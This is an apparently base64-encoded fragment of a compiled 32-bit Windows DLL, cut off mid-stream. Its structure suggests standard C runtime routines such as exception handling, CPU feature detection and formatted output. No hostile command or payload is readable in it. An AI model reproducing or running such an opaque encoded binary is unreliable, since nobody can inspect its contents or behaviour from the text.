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tkUIW19eXcNVi+yB7IACAAChwHABEDPFiUX8i0UIU1aLdQxXi30U/3UQiYXQ/f//M8CL2I2NiP3//4m18P3//4m95P3//4mFsP3//4md6P3//4mFyP3//4mF2P3//4mFzP3//4mFuP3//4mFxP3//+jmxv//6DQMAACJhaz9//+LhdD9//+FwA+EywoAAPZADEB1Y1Do3DoAAFmLyIP5/3QZg/n+dBSL0YPiH8H4BcHiBgMUhWiMARDrBbqweQEQ9kIkfw+FjwoAAIP5/3QZg/n+dBSLwYPhH8H4BcHhBgMMhWiMARDrBbmweQEQ9kEkgA+FYgoAAIX2D4RaCgAAig4zwIvQiZXg/f//iYXc/f//iYW8/f//iYWo/f//iI3v/f//iI20/f//hMkPhAQKAACLtZz9//+LhfD9//9AiYXw/f//hdIPiOkJAACNQeA8WHcPD77BD76AGBEBEIPgD+sCM8CLvbz9//8PvrzHOBEBEIvHwfgEib28/f//i73k/f//iYW8/f//g/gHD4eHCQAA/ySFJp0AEDPAg43Y/f///4vYiYWg/f//iYW4/f//iYXI/f//iYXM/f//iZ3o/f//iYXE/f//6UwJAAAPvsGD6CB0RoPoA3Q5g+gIdC9ISHQdg+gDi4Xw/f//D4UtCQAAg8sIiZ3o/f//6R8JAACDywSJnej9///pCwkAAIPLAevwgcuAAAAA6+iDywLr44D5KnUviweDxwSJveT9//+Jhcj9//+FwA+J2wgAAIPLBPfYiZ3o/f//iYXI/f//6cUIAACLhcj9//9rwAqJhcj9//8PvsGLjcj9//+DwdADyImNyP3//+mdCAAAM8CJhdj9///pkAgAAID5KnUriweDxwSJhdj9//+FwIuF8P3//4m95P3//w+JcggAAION2P3////pZggAAIuV2P3//2vSCg++wYPC0APQiZXY/f//6T4IAACA+Ul0RYD5aHQ4i4Xw/f//gPlsdBSA+XcPhSwIAACBywAIAADp9/7//4A4bHUMQIHLABAAAOnm/v//g8sQ6d7+//+DyyDp5P7//4uF8P3//4oAPDZ1HIu98P3//4B/ATR1EIvHg8ACgcsAgAAA6a7+//88M3Uci73w/f//gH8BMnUQi8eDwAKB4/9////pjv7//zxkD4SqBwAAPGkPhKIHAAA8bw+EmgcAADx1D4SSBwAAPHgPhIoHAAA8WA+EggcAADPAiYW8/f//6wIzwImFxP3//42FiP3//1APtsFQ6AA2AABZWYXAdDiNheD9//9Q/7XQ/f///7W0/f//6LkHAACLjfD9//+DxAyKAUGIhbT9//+JjfD9//+EwA+EYgcAAI2F4P3//1D/tdD9////tbT9///ogQcAAIPEDOn8BgAAD77Bg/hkD4/NAQAAD4RRAgAAg/hTD4/tAAAAdHyD6EF0EEhIdFZISHQISEgPhRgFAACAwSDHhaD9//8BAAAAiI3v/f//i4XY/f//g8tAugACAACJnej9//+NtfT9//+JlcD9//+FwA+JMgIAAMeF2P3//wYAAADpgAIAAPfDMAgAAA+FngAAAIHLAAgAAImd6P3//+mNAAAA98MwCAAAdQyBywAIAACJnej9//+Lldj9//+5////f4P6/3QCi8qLN4PHBIm95P3///fDEAgAAA+EUwQAAIX2dQaLNTx4ARDHhcT9//8BAAAAi8aFyXQPM9JJZjkQdAeDwAKFyXXzK8bR+Ok8BAAAg+hYD4SwAgAASEh0cIPoBw+EJ////0hID4UkBAAAg8cEib3k/f//98MQCAAAdDAPt0f8UGgAAgAAjYX0/f//UI2F3P3//1DoeUIAAIPEEIXAdB/Hhbj9//8BAAAA6xOKR/yIhfT9///Hhdz9//8BAAAAjbX0/f//6cUDAACLB4PHBIm95P3//4XAdDOLcASF9nQsD78A98MACAAAdBSZK8LR+MeFxP3//wEAAADpigMAADPJiY3E/f//6X0DAACLNTh4ARBW6JDR//9Z6WsDAACD+HAPj+MBAAAPhM8BAACD+GUPjFkDAACD+GcPjkv+//+D+Gl0ZIP4bnQlg/hvD4U9AwAAx4Xc/f//CAAAAITbeVuBywACAACJnej9///rTYPHBIm95P3//4t//OhcQAAAhcAPhAAFAACLheD9///2wyB0BWaJB+sCiQfHhbj9//8BAAAA6XoEAACDy0CJnej9///Hhdz9//8KAAAA98MAgAAAdQz3wwAQAAAPhI4BAACLD4PHCIm95P3//4t//DP26a4BAAB1EYD5Z3VWx4XY/f//AQAAAOtKO8J+CIvCiYXY/f//PaMAAAB+N424XQEAAFfoUdz//1mKje/9//+Jhaj9//+FwHQKi/CJvcD9///rCseF2P3//6MAAACLveT9//+LB4PHCImFgP3//4tH/ImFhP3//42FiP3//1D/taD9//8PvsH/tdj9//+JveT9//9Q/7XA/f//jYWA/f//VlD/NUh7ARD/FSDwABD/0Iv7g8QcgeeAAAAAdCGDvdj9//8AdRiNhYj9//9QVv81VHsBEP8VIPAAEP/QWVmAve/9//9ndRyF/3UYjYWI/f//UFb/NVB7ARD/FSDwABD/0FlZgD4tD4Uo/v//gcsAAQAAiZ3o/f//RukW/v//x4XY/f//CAAAAGoH6xyD6HMPhN/8//9ISA+Elv7//4PoAw+FawEAAGonWImFsP3//8eF3P3//xAAAACE2w+JfP7//wRRxoXU/f//MIiF1f3//8eFzP3//wIAAADpXv7//4PHBDP2ib3k/f//9sMgdBH2w0B0Bg+/R/zrDg+3R/zrCPbDQHQKi0f8mYvIi/rrBYtP/Iv+9sNAdBw7/n8YfAQ7znMS99kT/vffgcsAAQAA